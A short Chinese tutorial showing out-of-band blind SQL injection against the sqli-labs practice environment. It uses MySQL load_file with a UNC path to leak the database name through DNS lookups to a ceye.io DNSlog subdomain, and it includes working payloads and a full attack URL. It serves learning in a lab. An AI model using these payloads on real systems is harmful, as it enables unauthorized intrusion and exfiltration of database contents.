Out of Band SQL盲注

SQL盲注

使用http://ceye.io/DNSlog获取dns记录

获取自己的Identifier

xxxxxx.ceye.io

 

搭建环境

Windows server 2003 +phpstudy+sqli-labs

Payload: and%20load_file(concat(%27\\\\%27,(select database()),%27.xxxxxx.ceye.io\\abc%27))%20

 

load_file需要条件如下

 

必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件，该文件是world-readable的或MySQL服务器可读的。

 

在MySQL5.5.53中，file_priv默认为yes

select file_priv from mysql.user where user = 'root';

 

文件必须是所有人都可读的，并且它的大小小于max_allowed_packet字节

SHOW VARIABLES LIKE 'max_allowed_packet';

 

如果secure_file_priv系统变量被设置为非空目录名，则要加载的文件必须位于该目录中

SHOW VARIABLES LIKE 'secure_file_priv';

 

获取当前数据库

http://192.168.119.149/sqli/Less-5/?id=1%27%20and%20load_file(concat(%27\\\\%27,(select%20database()),%27.xxxxxx.ceye.io\\abc%27))%20%23
